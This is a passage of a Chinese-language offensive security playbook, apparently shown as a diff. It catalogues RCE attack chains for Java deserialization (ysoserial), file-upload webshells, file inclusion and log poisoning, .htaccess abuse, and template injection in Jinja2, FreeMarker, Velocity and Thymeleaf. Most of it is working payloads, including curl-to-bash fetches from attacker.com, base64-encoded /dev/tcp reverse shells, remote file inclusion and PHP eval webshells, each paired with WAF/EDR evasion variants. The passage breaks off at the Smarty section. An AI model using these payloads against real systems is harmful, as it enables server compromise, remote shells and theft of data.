**前置条件:** 存在Java反序列化点;存在Gadget链
|
|
2600
|
+
|
|
2601
|
+
**攻击链:**
|
|
2602
|
+
|
|
2603
|
+
**1. 1. 常见Gadget链**
|
|
2604
|
+
_常见Gadget链_
|
|
2605
|
+
```
|
|
2606
|
+
CommonsCollections - Apache Commons Collections
|
|
2607
|
+
CommonsBeanutils - Apache Commons BeanUtils
|
|
2608
|
+
Spring - Spring Framework
|
|
2609
|
+
Jdk7u21 - JDK原生Gadget
|
|
2610
|
+
Groovy - Apache Groovy
|
|
2611
|
+
Hibernate - Hibernate ORM
|
|
2612
|
+
```
|
|
2613
|
+
|
|
2614
|
+
**2. 2. 使用ysoserial**
|
|
2615
|
+
_使用ysoserial生成payload_
|
|
2616
|
+
```
|
|
2617
|
+
# 列出所有Gadget
|
|
2618
|
+
java -jar ysoserial.jar
|
|
2619
|
+
|
|
2620
|
+
# 生成payload
|
|
2621
|
+
java -jar ysoserial.jar CommonsCollections1 "curl attacker.com/shell.sh|bash" > payload.ser # security-allowlist: curl-pipe-bash
|
|
2622
|
+
java -jar ysoserial.jar CommonsCollections6 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}"
|
|
2623
|
+
```
|
|
2624
|
+
|
|
2625
|
+
**3. 3. JRMP攻击**
|
|
2626
|
+
_JRMP攻击_
|
|
2627
|
+
```
|
|
2628
|
+
# 启动JRMP服务
|
|
2629
|
+
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 4444 CommonsCollections1 "touch /tmp/pwned"
|
|
2630
|
+
|
|
2631
|
+
# 发送JRMP客户端payload
|
|
2632
|
+
java -jar ysoserial.jar JRMPClient attacker:4444
|
|
2633
|
+
```
|
|
2634
|
+
|
|
2635
|
+
**4. 4. 内存马注入**
|
|
2636
|
+
_内存马注入_
|
|
2637
|
+
```
|
|
2638
|
+
# 使用ysoserial注入内存马
|
|
2639
|
+
java -jar ysoserial.jar CommonsCollections1 "生成内存马字节码"
|
|
2640
|
+
|
|
2641
|
+
# 或使用工具
|
|
2642
|
+
java -jar ysuserial.jar CommonsCollections1 "内存马命令"
|
|
2643
|
+
```
|
|
2644
|
+
|
|
2645
|
+
**WAF/EDR 绕过变体:**
|
|
2646
|
+
|
|
2647
|
+
**1. 二次反序列化**
|
|
2648
|
+
_二次反序列化绕过_
|
|
2649
|
+
```
|
|
2650
|
+
使用SignedObject或RMI绕过黑名单
|
|
2651
|
+
```
|
|
2652
|
+
|
|
2653
|
+
**2. 反射绕过**
|
|
2654
|
+
_反射绕过_
|
|
2655
|
+
```
|
|
2656
|
+
使用反射设置属性绕过限制
|
|
2657
|
+
```
|
|
2658
|
+
|
|
2659
|
+
---
|
|
2660
|
+
|
|
2661
|
+
### 文件上传漏洞 `rce-file-upload`
|
|
2662
|
+
利用文件上传漏洞获取RCE
|
|
2663
|
+
子类:**文件上传** · tags: `rce` `upload` `webshell` `file`
|
|
2664
|
+
|
|
2665
|
+
**前置条件:** 存在文件上传功能;可上传可执行文件
|
|
2666
|
+
|
|
2667
|
+
**攻击链:**
|
|
2668
|
+
|
|
2669
|
+
**1. 1. 基础上传**
|
|
2670
|
+
_直接上传可执行文件_
|
|
2671
|
+
```
|
|
2672
|
+
上传PHP文件: shell.php
|
|
2673
|
+
上传JSP文件: shell.jsp
|
|
2674
|
+
上传ASPX文件: shell.aspx
|
|
2675
|
+
上传CGI文件: shell.cgi
|
|
2676
|
+
```
|
|
2677
|
+
|
|
2678
|
+
**2. 2. 前端绕过**
|
|
2679
|
+
_绕过前端验证_
|
|
2680
|
+
```
|
|
2681
|
+
# 修改Content-Type
|
|
2682
|
+
Content-Type: image/jpeg
|
|
2683
|
+
|
|
2684
|
+
# 修改文件扩展名
|
|
2685
|
+
test.php -> test.jpg.php
|
|
2686
|
+
test.php -> test.php.jpg
|
|
2687
|
+
|
|
2688
|
+
# 使用空字节
|
|
2689
|
+
test.php%00.jpg
|
|
2690
|
+
```
|
|
2691
|
+
|
|
2692
|
+
**3. 3. 后端绕过**
|
|
2693
|
+
_绕过后端黑名单_
|
|
2694
|
+
```
|
|
2695
|
+
# 黑名单绕过
|
|
2696
|
+
.php -> .phtml, .php3, .php5, .pht
|
|
2697
|
+
.asp -> .asa, .cer, .cdx
|
|
2698
|
+
.jsp -> .jspx, .jspf
|
|
2699
|
+
|
|
2700
|
+
# 大小写绕过
|
|
2701
|
+
.Php, .pHp, .PHP
|
|
2702
|
+
|
|
2703
|
+
# 双写绕过
|
|
2704
|
+
.pphphp
|
|
2705
|
+
```
|
|
2706
|
+
|
|
2707
|
+
**4. 4. 图片马**
|
|
2708
|
+
_制作图片马_
|
|
2709
|
+
```
|
|
2710
|
+
# 制作图片马
|
|
2711
|
+
copy test.jpg/b + shell.php/a shell.jpg
|
|
2712
|
+
|
|
2713
|
+
# 利用文件包含执行
|
|
2714
|
+
include($_GET['file']);
|
|
2715
|
+
?file=upload/shell.jpg
|
|
2716
|
+
```
|
|
2717
|
+
|
|
2718
|
+
**5. 5. .htaccess上传** _[linux]_
|
|
2719
|
+
_利用.htaccess_
|
|
2720
|
+
```
|
|
2721
|
+
# 上传.htaccess文件
|
|
2722
|
+
AddType application/x-httpd-php .jpg
|
|
2723
|
+
AddHandler php-script .jpg
|
|
2724
|
+
|
|
2725
|
+
# 之后上传的jpg文件会被当作PHP执行
|
|
2726
|
+
```
|
|
2727
|
+
|
|
2728
|
+
**WAF/EDR 绕过变体:**
|
|
2729
|
+
|
|
2730
|
+
**1. Content-Type绕过**
|
|
2731
|
+
_Content-Type绕过_
|
|
2732
|
+
```
|
|
2733
|
+
修改请求中的Content-Type为允许的类型
|
|
2734
|
+
image/jpeg, image/png, image/gif
|
|
2735
|
+
```
|
|
2736
|
+
|
|
2737
|
+
**2. 文件头绕过**
|
|
2738
|
+
_文件头绕过_
|
|
2739
|
+
```
|
|
2740
|
+
在恶意文件前添加图片文件头
|
|
2741
|
+
GIF89a<?php eval($_POST[cmd]);?>
|
|
2742
|
+
```
|
|
2743
|
+
|
|
2744
|
+
---
|
|
2745
|
+
|
|
2746
|
+
### 文件包含RCE `rce-include`
|
|
2747
|
+
利用文件包含漏洞实现RCE
|
|
2748
|
+
子类:**文件包含** · tags: `rce` `include` `lfi` `rfi`
|
|
2749
|
+
|
|
2750
|
+
**前置条件:** 存在文件包含漏洞;可包含恶意文件
|
|
2751
|
+
|
|
2752
|
+
**攻击链:**
|
|
2753
|
+
|
|
2754
|
+
**1. 1. 日志投毒** _[linux]_
|
|
2755
|
+
_日志投毒RCE_
|
|
2756
|
+
```
|
|
2757
|
+
# 注入代码到日志
|
|
2758
|
+
User-Agent: <?php system($_GET['cmd']);?>
|
|
2759
|
+
|
|
2760
|
+
# 包含日志文件
|
|
2761
|
+
?file=/var/log/apache2/access.log&cmd=whoami
|
|
2762
|
+
?file=/var/log/nginx/access.log&cmd=whoami
|
|
2763
|
+
```
|
|
2764
|
+
|
|
2765
|
+
**2. 2. Session文件包含** _[linux]_
|
|
2766
|
+
_Session文件包含_
|
|
2767
|
+
```
|
|
2768
|
+
# 注入代码到Session
|
|
2769
|
+
?file=/var/lib/php/sessions/sess_[PHPSESSID]
|
|
2770
|
+
|
|
2771
|
+
# Session内容
|
|
2772
|
+
<?php system($_GET['cmd']);?>
|
|
2773
|
+
```
|
|
2774
|
+
|
|
2775
|
+
**3. 3. /proc/self/environ** _[linux]_
|
|
2776
|
+
_包含环境变量_
|
|
2777
|
+
```
|
|
2778
|
+
# 注入代码到环境变量
|
|
2779
|
+
User-Agent: <?php system($_GET['cmd']);?>
|
|
2780
|
+
|
|
2781
|
+
# 包含环境变量文件
|
|
2782
|
+
?file=/proc/self/environ&cmd=whoami
|
|
2783
|
+
```
|
|
2784
|
+
|
|
2785
|
+
**4. 4. PHP伪协议**
|
|
2786
|
+
_PHP伪协议利用_
|
|
2787
|
+
```
|
|
2788
|
+
# php://input
|
|
2789
|
+
?file=php://input
|
|
2790
|
+
POST: <?php system('whoami');?>
|
|
2791
|
+
|
|
2792
|
+
# data://协议
|
|
2793
|
+
?file=data://text/plain,<?php system('whoami');?>
|
|
2794
|
+
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==
|
|
2795
|
+
```
|
|
2796
|
+
|
|
2797
|
+
**5. 5. 远程文件包含**
|
|
2798
|
+
```
|
|
2799
|
+
# RFI直接包含远程Shell
|
|
2800
|
+
?file=http://attacker.com/shell.txt
|
|
2801
|
+
|
|
2802
|
+
# shell.txt内容
|
|
2803
|
+
<?php system($_GET['cmd']);?>
|
|
2804
|
+
```
|
|
2805
|
+
|
|
2806
|
+
**WAF/EDR 绕过变体:**
|
|
2807
|
+
|
|
2808
|
+
**1. 编码绕过**
|
|
2809
|
+
_URL编码绕过_
|
|
2810
|
+
```
|
|
2811
|
+
?file=%2fvar%2flog%2fapache2%2faccess.log
|
|
2812
|
+
URL编码路径
|
|
2813
|
+
```
|
|
2814
|
+
|
|
2815
|
+
---
|
|
2816
|
+
|
|
2817
|
+
### 日志投毒RCE `rce-log-poison`
|
|
2818
|
+
利用日志投毒实现RCE
|
|
2819
|
+
子类:**日志投毒** · tags: `rce` `log` `poison` `lfi`
|
|
2820
|
+
|
|
2821
|
+
**前置条件:** 存在文件包含漏洞;可读取日志文件
|
|
2822
|
+
|
|
2823
|
+
**攻击链:**
|
|
2824
|
+
|
|
2825
|
+
**1. 1. Apache日志投毒** _[linux]_
|
|
2826
|
+
_Apache日志投毒_
|
|
2827
|
+
```
|
|
2828
|
+
# 注入代码到访问日志
|
|
2829
|
+
curl -A "<?php system(\$_GET['cmd']);?>" http://target/
|
|
2830
|
+
|
|
2831
|
+
# 包含日志执行
|
|
2832
|
+
?file=/var/log/apache2/access.log&cmd=whoami
|
|
2833
|
+
?file=/var/log/httpd/access_log&cmd=whoami
|
|
2834
|
+
```
|
|
2835
|
+
|
|
2836
|
+
**2. 2. Nginx日志投毒**
|
|
2837
|
+
```
|
|
2838
|
+
# 注入代码
|
|
2839
|
+
curl -A "<?php system(\$_GET['cmd']);?>" http://target/
|
|
2840
|
+
|
|
2841
|
+
# 包含日志
|
|
2842
|
+
?file=/var/log/nginx/access.log&cmd=whoami
|
|
2843
|
+
```
|
|
2844
|
+
|
|
2845
|
+
**WAF/EDR 绕过变体:**
|
|
2846
|
+
|
|
2847
|
+
**1. 编码绕过**
|
|
2848
|
+
_编码绕过_
|
|
2849
|
+
```
|
|
2850
|
+
使用URL编码或Base64编码绕过关键字过滤
|
|
2851
|
+
```
|
|
2852
|
+
|
|
2853
|
+
---
|
|
2854
|
+
|
|
2855
|
+
### 图片马RCE `rce-image`
|
|
2856
|
+
利用图片马实现RCE
|
|
2857
|
+
子类:**图片马** · tags: `rce` `image` `webshell` `upload`
|
|
2858
|
+
|
|
2859
|
+
**前置条件:** 存在文件上传;存在文件包含
|
|
2860
|
+
|
|
2861
|
+
**攻击链:**
|
|
2862
|
+
|
|
2863
|
+
**1. 1. 制作图片马**
|
|
2864
|
+
_制作图片马_
|
|
2865
|
+
```
|
|
2866
|
+
# Windows
|
|
2867
|
+
copy test.jpg/b + shell.php/a shell.jpg
|
|
2868
|
+
|
|
2869
|
+
# Linux
|
|
2870
|
+
cat test.jpg shell.php > shell.jpg
|
|
2871
|
+
|
|
2872
|
+
# 在图片末尾添加PHP代码
|
|
2873
|
+
echo "<?php @eval($_POST[cmd]);?>" >> test.jpg
|
|
2874
|
+
```
|
|
2875
|
+
|
|
2876
|
+
**2. 2. 图片马内容**
|
|
2877
|
+
_图片马格式_
|
|
2878
|
+
```
|
|
2879
|
+
GIF89a
|
|
2880
|
+
<?php @eval($_POST[cmd]);?>
|
|
2881
|
+
|
|
2882
|
+
# 或使用Exif注释
|
|
2883
|
+
exiftool -Comment="<?php @eval($_POST[cmd]);?>" test.jpg
|
|
2884
|
+
```
|
|
2885
|
+
|
|
2886
|
+
**3. 3. 利用文件包含执行**
|
|
2887
|
+
_文件包含执行_
|
|
2888
|
+
```
|
|
2889
|
+
# 配合文件包含漏洞
|
|
2890
|
+
?file=upload/shell.jpg
|
|
2891
|
+
POST: cmd=system('whoami');
|
|
2892
|
+
|
|
2893
|
+
# 配合phar://
|
|
2894
|
+
?file=phar://upload/shell.jpg
|
|
2895
|
+
```
|
|
2896
|
+
|
|
2897
|
+
**4. 4. 配合.htaccess** _[linux]_
|
|
2898
|
+
_配合.htaccess执行_
|
|
2899
|
+
```
|
|
2900
|
+
# 上传.htaccess
|
|
2901
|
+
AddType application/x-httpd-php .jpg
|
|
2902
|
+
|
|
2903
|
+
# 直接访问图片执行
|
|
2904
|
+
http://target/upload/shell.jpg
|
|
2905
|
+
```
|
|
2906
|
+
|
|
2907
|
+
**WAF/EDR 绕过变体:**
|
|
2908
|
+
|
|
2909
|
+
**1. 文件头伪装**
|
|
2910
|
+
_文件头伪装_
|
|
2911
|
+
```
|
|
2912
|
+
使用真实图片文件头
|
|
2913
|
+
确保图片可正常预览
|
|
2914
|
+
```
|
|
2915
|
+
|
|
2916
|
+
---
|
|
2917
|
+
|
|
2918
|
+
### .htaccess利用 `rce-htaccess`
|
|
2919
|
+
利用.htaccess文件实现RCE
|
|
2920
|
+
子类:**.htaccess** · tags: `rce` `htaccess` `apache` `upload`
|
|
2921
|
+
|
|
2922
|
+
**前置条件:** Apache服务器;可上传.htaccess
|
|
2923
|
+
|
|
2924
|
+
**攻击链:**
|
|
2925
|
+
|
|
2926
|
+
**1. 1. 解析其他扩展名** _[linux]_
|
|
2927
|
+
_修改文件类型解析_
|
|
2928
|
+
```
|
|
2929
|
+
# 让.jpg文件作为PHP执行
|
|
2930
|
+
AddType application/x-httpd-php .jpg
|
|
2931
|
+
AddHandler php-script .jpg
|
|
2932
|
+
|
|
2933
|
+
# 让.txt文件作为PHP执行
|
|
2934
|
+
AddType application/x-httpd-php .txt
|
|
2935
|
+
```
|
|
2936
|
+
|
|
2937
|
+
**2. 2. 自动包含** _[linux]_
|
|
2938
|
+
_自动包含文件_
|
|
2939
|
+
```
|
|
2940
|
+
# 自动在每个文件前包含
|
|
2941
|
+
php_value auto_prepend_file /var/www/html/shell.php
|
|
2942
|
+
|
|
2943
|
+
# 自动在每个文件后包含
|
|
2944
|
+
php_value auto_append_file /var/www/html/shell.php
|
|
2945
|
+
```
|
|
2946
|
+
|
|
2947
|
+
**3. 3. 伪静态RCE** _[linux]_
|
|
2948
|
+
_伪静态配置_
|
|
2949
|
+
```
|
|
2950
|
+
# 利用mod_rewrite
|
|
2951
|
+
RewriteEngine on
|
|
2952
|
+
RewriteRule ^(.*)$ $1 [L]
|
|
2953
|
+
|
|
2954
|
+
# 更危险的配置
|
|
2955
|
+
SetHandler application/x-httpd-php
|
|
2956
|
+
```
|
|
2957
|
+
|
|
2958
|
+
**4. 4. 错误页面包含** _[linux]_
|
|
2959
|
+
_错误页面利用_
|
|
2960
|
+
```
|
|
2961
|
+
# 自定义错误页面
|
|
2962
|
+
ErrorDocument 404 /shell.php
|
|
2963
|
+
ErrorDocument 500 /shell.php
|
|
2964
|
+
```
|
|
2965
|
+
|
|
2966
|
+
**5. 5. 文件包含绕过** _[linux]_
|
|
2967
|
+
_PHP配置修改_
|
|
2968
|
+
```
|
|
2969
|
+
# 设置include路径
|
|
2970
|
+
php_value include_path "/var/www/html/uploads"
|
|
2971
|
+
|
|
2972
|
+
# 禁用安全限制
|
|
2973
|
+
php_flag safe_mode off
|
|
2974
|
+
php_flag display_errors on
|
|
2975
|
+
```
|
|
2976
|
+
|
|
2977
|
+
**WAF/EDR 绕过变体:**
|
|
2978
|
+
|
|
2979
|
+
**1. 换行绕过** _[linux]_
|
|
2980
|
+
_换行绕过_
|
|
2981
|
+
```
|
|
2982
|
+
使用换行符分隔配置
|
|
2983
|
+
绕过单行检测
|
|
2984
|
+
```
|
|
2985
|
+
|
|
2986
|
+
---
|
|
2987
|
+
|
|
2988
|
+
### · SSTI模板注入
|
|
2989
|
+
|
|
2990
|
+
### Jinja2模板注入 `ssti-jinja2`
|
|
2991
|
+
Jinja2/Twig模板注入攻击技术
|
|
2992
|
+
子类:**Jinja2** · tags: `ssti` `jinja2` `twig` `template`
|
|
2993
|
+
|
|
2994
|
+
**前置条件:** 使用Jinja2/Twig模板引擎;用户输入直接渲染到模板
|
|
2995
|
+
|
|
2996
|
+
**攻击链:**
|
|
2997
|
+
|
|
2998
|
+
**1. 1. 探测SSTI**
|
|
2999
|
+
_探测模板注入_
|
|
3000
|
+
```
|
|
3001
|
+
{{7*7}}
|
|
3002
|
+
${7*7}
|
|
3003
|
+
<%= 7*7 %>
|
|
3004
|
+
{{config}}
|
|
3005
|
+
如果输出49或配置信息,则存在SSTI
|
|
3006
|
+
```
|
|
3007
|
+
|
|
3008
|
+
**2. 2. 信息收集**
|
|
3009
|
+
_收集环境信息_
|
|
3010
|
+
```
|
|
3011
|
+
{{config}}
|
|
3012
|
+
{{self}}
|
|
3013
|
+
{{request}}
|
|
3014
|
+
{{"".__class__.__mro__}}
|
|
3015
|
+
{{"".__class__.__mro__[1].__subclasses__()}}
|
|
3016
|
+
```
|
|
3017
|
+
|
|
3018
|
+
**3. 3. 命令执行**
|
|
3019
|
+
_执行系统命令_
|
|
3020
|
+
```
|
|
3021
|
+
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
|
|
3022
|
+
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
|
|
3023
|
+
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
|
|
3024
|
+
```
|
|
3025
|
+
|
|
3026
|
+
**4. 4. 反弹Shell** _[linux]_
|
|
3027
|
+
_获取反弹Shell_
|
|
3028
|
+
```
|
|
3029
|
+
{{config.__class__.__init__.__globals__['os'].popen('bash -c "bash -i >& /dev/tcp/attacker/4444 0>&1"').read()}}
|
|
3030
|
+
```
|
|
3031
|
+
|
|
3032
|
+
**WAF/EDR 绕过变体:**
|
|
3033
|
+
|
|
3034
|
+
**1. 字符串拼接**
|
|
3035
|
+
_使用字符串拼接绕过_
|
|
3036
|
+
```
|
|
3037
|
+
{{''['__cla'+'ss__']}}
|
|
3038
|
+
{{''|attr('__cla'+'ss__')}}
|
|
3039
|
+
{{''|attr('\x5f\x5fcla\x5f\x5fss')}}
|
|
3040
|
+
```
|
|
3041
|
+
|
|
3042
|
+
**2. 使用request对象**
|
|
3043
|
+
_通过request参数传递_
|
|
3044
|
+
```
|
|
3045
|
+
{{request|attr(request.args.a)}}&a=__class__
|
|
3046
|
+
{{request|attr(request.args.a)|attr(request.args.b)}}&a=__class__&b=__mro__
|
|
3047
|
+
```
|
|
3048
|
+
|
|
3049
|
+
---
|
|
3050
|
+
|
|
3051
|
+
### FreeMarker模板注入 `ssti-freemarker`
|
|
3052
|
+
FreeMarker模板引擎注入攻击技术
|
|
3053
|
+
子类:**FreeMarker** · tags: `ssti` `freemarker` `java` `template`
|
|
3054
|
+
|
|
3055
|
+
**前置条件:** 使用FreeMarker模板引擎;用户输入直接渲染到模板
|
|
3056
|
+
|
|
3057
|
+
**攻击链:**
|
|
3058
|
+
|
|
3059
|
+
**1. 1. 探测SSTI**
|
|
3060
|
+
_探测FreeMarker模板注入_
|
|
3061
|
+
```
|
|
3062
|
+
${7*7}
|
|
3063
|
+
${"freemarker"}
|
|
3064
|
+
<#assign ex="freemarker">
|
|
3065
|
+
如果输出49或freemarker,则存在SSTI
|
|
3066
|
+
```
|
|
3067
|
+
|
|
3068
|
+
**2. 2. 信息收集**
|
|
3069
|
+
_收集环境信息_
|
|
3070
|
+
```
|
|
3071
|
+
${.version}
|
|
3072
|
+
${.current_template_name}
|
|
3073
|
+
${.lang}
|
|
3074
|
+
${system_property["java.version"]}
|
|
3075
|
+
${system_property["os.name"]}
|
|
3076
|
+
```
|
|
3077
|
+
|
|
3078
|
+
**3. 3. 命令执行 - new**
|
|
3079
|
+
_使用Execute类执行命令_
|
|
3080
|
+
```
|
|
3081
|
+
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
|
|
3082
|
+
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("whoami")}
|
|
3083
|
+
```
|
|
3084
|
+
|
|
3085
|
+
**4. 4. 命令执行 - api**
|
|
3086
|
+
_使用ObjectConstructor执行命令_
|
|
3087
|
+
```
|
|
3088
|
+
<#assign api="freemarker.template.utility.ObjectConstructor"?new()>${api("java.lang.Runtime","getRuntime").exec("id")}
|
|
3089
|
+
<#assign api="freemarker.template.utility.ObjectConstructor"?new()>${api("java.lang.ProcessBuilder","/bin/sh","-c","id").start()}
|
|
3090
|
+
```
|
|
3091
|
+
|
|
3092
|
+
**5. 5. 反弹Shell** _[linux]_
|
|
3093
|
+
_获取反弹Shell_
|
|
3094
|
+
```
|
|
3095
|
+
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9hdHRhY2tlci9QMDBBIA==}|{base64,-d}|{bash,-i}")}
|
|
3096
|
+
```
|
|
3097
|
+
|
|
3098
|
+
**WAF/EDR 绕过变体:**
|
|
3099
|
+
|
|
3100
|
+
**1. 字符串拼接**
|
|
3101
|
+
_使用字符串拼接绕过_
|
|
3102
|
+
```
|
|
3103
|
+
<#assign ex="freemarker.template.utility.Ex"+"ecute"?new()>${ex("id")}
|
|
3104
|
+
<#assign cls="java.lang.Ru"+"ntime">${cls?new().exec("id")}
|
|
3105
|
+
```
|
|
3106
|
+
|
|
3107
|
+
**2. 使用内置函数**
|
|
3108
|
+
_直接实例化执行_
|
|
3109
|
+
```
|
|
3110
|
+
${"freemarker.template.utility.Execute"?new()("id")}
|
|
3111
|
+
${"java.lang.Runtime"?new().exec("id")}
|
|
3112
|
+
```
|
|
3113
|
+
|
|
3114
|
+
---
|
|
3115
|
+
|
|
3116
|
+
### Velocity模板注入 `ssti-velocity`
|
|
3117
|
+
Velocity模板引擎注入攻击技术
|
|
3118
|
+
子类:**Velocity** · tags: `ssti` `velocity` `java` `template`
|
|
3119
|
+
|
|
3120
|
+
**前置条件:** 使用Velocity模板引擎;用户输入直接渲染到模板
|
|
3121
|
+
|
|
3122
|
+
**攻击链:**
|
|
3123
|
+
|
|
3124
|
+
**1. 1. 探测SSTI**
|
|
3125
|
+
_探测Velocity模板注入_
|
|
3126
|
+
```
|
|
3127
|
+
#set($x=7*7)$x
|
|
3128
|
+
$velocityVersion
|
|
3129
|
+
$class.inspect("java.lang.Runtime")
|
|
3130
|
+
如果输出49或版本信息,则存在SSTI
|
|
3131
|
+
```
|
|
3132
|
+
|
|
3133
|
+
**2. 2. 信息收集**
|
|
3134
|
+
_收集环境信息_
|
|
3135
|
+
```
|
|
3136
|
+
$class.inspect("java.lang.System")
|
|
3137
|
+
$class.inspect("java.lang.Runtime")
|
|
3138
|
+
$sys.class.forName("java.lang.Runtime")
|
|
3139
|
+
```
|
|
3140
|
+
|
|
3141
|
+
**3. 3. 命令执行 - ClassTool**
|
|
3142
|
+
_使用ClassTool执行命令_
|
|
3143
|
+
```
|
|
3144
|
+
#set($rt=$class.inspect("java.lang.Runtime"))
|
|
3145
|
+
#set($chr=$class.inspect("java.lang.Character"))
|
|
3146
|
+
#set($ex=$rt.getRuntime().exec("id"))
|
|
3147
|
+
$ex.waitFor()
|
|
3148
|
+
#set($is=$ex.getInputStream())
|
|
3149
|
+
#set($br=$class.inspect("java.io.BufferedReader").newInstance($class.inspect("java.io.InputStreamReader").newInstance($is)))
|
|
3150
|
+
#set($line=$br.readLine())
|
|
3151
|
+
$line
|
|
3152
|
+
```
|
|
3153
|
+
|
|
3154
|
+
**4. 4. 命令执行 - 反射**
|
|
3155
|
+
_使用反射执行命令_
|
|
3156
|
+
```
|
|
3157
|
+
#set($rt=$Class.forName("java.lang.Runtime"))
|
|
3158
|
+
#set($m=$rt.getDeclaredMethod("getRuntime"))
|
|
3159
|
+
#set($obj=$m.invoke(null))
|
|
3160
|
+
#set($ex=$rt.getDeclaredMethod("exec",$Class.forName("java.lang.String")).invoke($obj,"id"))
|
|
3161
|
+
```
|
|
3162
|
+
|
|
3163
|
+
**5. 5. 反弹Shell** _[linux]_
|
|
3164
|
+
_获取反弹Shell_
|
|
3165
|
+
```
|
|
3166
|
+
#set($rt=$Class.forName("java.lang.Runtime"))
|
|
3167
|
+
#set($m=$rt.getDeclaredMethod("getRuntime"))
|
|
3168
|
+
#set($obj=$m.invoke(null))
|
|
3169
|
+
#set($ex=$rt.getDeclaredMethod("exec",$Class.forName("java.lang.String")).invoke($obj,"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9hdHRhY2tlci9QMDBBIA==}|{base64,-d}|{bash,-i}"))
|
|
3170
|
+
```
|
|
3171
|
+
|
|
3172
|
+
**WAF/EDR 绕过变体:**
|
|
3173
|
+
|
|
3174
|
+
**1. 字符串拼接**
|
|
3175
|
+
_使用字符串拼接绕过_
|
|
3176
|
+
```
|
|
3177
|
+
#set($cmd="i"+"d")
|
|
3178
|
+
#set($rt=$Class.forName("java.lang.Ru"+"ntime"))
|
|
3179
|
+
#set($ex=$rt.getRuntime().exec($cmd))
|
|
3180
|
+
```
|
|
3181
|
+
|
|
3182
|
+
**2. 使用Unicode**
|
|
3183
|
+
_使用Unicode编码绕过_
|
|
3184
|
+
```
|
|
3185
|
+
#set($cmd="id")
|
|
3186
|
+
#set($rt=$Class.forName("java.lang.Runtime"))
|
|
3187
|
+
#set($ex=$rt.getRuntime().exec($cmd))
|
|
3188
|
+
```
|
|
3189
|
+
|
|
3190
|
+
---
|
|
3191
|
+
|
|
3192
|
+
### Thymeleaf模板注入 `ssti-thymeleaf`
|
|
3193
|
+
Thymeleaf模板引擎注入攻击技术
|
|
3194
|
+
子类:**Thymeleaf** · tags: `ssti` `thymeleaf` `java` `spring` `template`
|
|
3195
|
+
|
|
3196
|
+
**前置条件:** 使用Thymeleaf模板引擎;Spring框架;用户输入直接渲染到模板
|
|
3197
|
+
|
|
3198
|
+
**攻击链:**
|
|
3199
|
+
|
|
3200
|
+
**1. 1. 探测SSTI**
|
|
3201
|
+
_探测Thymeleaf模板注入_
|
|
3202
|
+
```
|
|
3203
|
+
${7*7}
|
|
3204
|
+
#{7*7}
|
|
3205
|
+
*{7*7}
|
|
3206
|
+
[[${7*7}]]
|
|
3207
|
+
如果输出49,则存在SSTI
|
|
3208
|
+
```
|
|
3209
|
+
|
|
3210
|
+
**2. 2. 信息收集**
|
|
3211
|
+
_收集环境信息_
|
|
3212
|
+
```
|
|
3213
|
+
${T(java.lang.System).getenv()}
|
|
3214
|
+
${T(java.lang.Runtime).getRuntime().exec("id")}
|
|
3215
|
+
${T(java.lang.Class).forName("java.lang.Runtime")}
|
|
3216
|
+
```
|
|
3217
|
+
|
|
3218
|
+
**3. 3. 命令执行 - Spring表达式**
|
|
3219
|
+
_使用Spring表达式执行命令_
|
|
3220
|
+
```
|
|
3221
|
+
${T(java.lang.Runtime).getRuntime().exec("id")}
|
|
3222
|
+
${T(java.lang.Runtime).getRuntime().exec("whoami")}
|
|
3223
|
+
${T(java.lang.ProcessBuilder).newInstance("id").start()}
|
|
3224
|
+
```
|
|
3225
|
+
|
|
3226
|
+
**4. 4. 命令执行 - ProcessBuilder**
|
|
3227
|
+
_使用ProcessBuilder执行命令_
|
|
3228
|
+
```
|
|
3229
|
+
${new java.lang.ProcessBuilder(new String[]{"id"}).start()}
|
|
3230
|
+
${new java.lang.ProcessBuilder(new String[]{"bash","-c","id"}).start()}
|
|
3231
|
+
${new java.lang.ProcessBuilder(new String[]{"cmd","/c","whoami"}).start()}
|
|
3232
|
+
```
|
|
3233
|
+
|
|
3234
|
+
**5. 5. 反弹Shell** _[linux]_
|
|
3235
|
+
_获取反弹Shell_
|
|
3236
|
+
```
|
|
3237
|
+
${T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9hdHRhY2tlci9QMDBBIA==}|{base64,-d}|{bash,-i}")}
|
|
3238
|
+
```
|
|
3239
|
+
|
|
3240
|
+
**WAF/EDR 绕过变体:**
|
|
3241
|
+
|
|
3242
|
+
**1. 字符串拼接**
|
|
3243
|
+
_使用字符串拼接绕过_
|
|
3244
|
+
```
|
|
3245
|
+
${T(java.lang.Run"+"time).getRuntime().exec("i"+"d")}
|
|
3246
|
+
${T(java.lang.Class).forName("java.lang.Ru"+"ntime").getMethod("getRuntime").invoke(null)}
|
|
3247
|
+
```
|
|
3248
|
+
|
|
3249
|
+
**2. 使用反射**
|
|
3250
|
+
_使用反射绕过_
|
|
3251
|
+
```
|
|
3252
|
+
${T(Class).forName("java.lang.Runtime").getMethod("exec",T(String)).invoke(T(Runtime).getRuntime(),"id")}
|
|
3253
|
+
```
|
|
3254
|
+
|
|
3255
|
+
**3. URL编码**
|
|
3256
|
+
_使用字节数组绕过_
|
|
3257
|
+
```
|
|
3258
|
+
${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{105,100}))}
|
|
3259
|
+
# 使用字节数组构造命令
|
|
3260
|
+
```
|
|
3261
|
+
|
|
3262
|
+
---
|
|
3263
|
+
|
|
3264
|
+
### Smarty模板注入 `ssti-smarty`
|
|
3265
|
+
Smarty模板引擎注入攻击技术
|
|
3266
|
+
子类:**Smarty** · tags: `ssti` `smarty` `php` `template`
|
|
3267
|
+
|
|
3268
|
+
**前置条件:** 使用Smarty模板引擎;用户输入直接渲染到模板
|
|
3269
|
+
|
|
3270
|
+
**攻击链:**
|
|
3271
|
+
|
|
3272
|
+
**1. 1. 探测SSTI**
|
|
3273
|
+
_探测Smarty模板注入_
|
|
3274
|
+
```
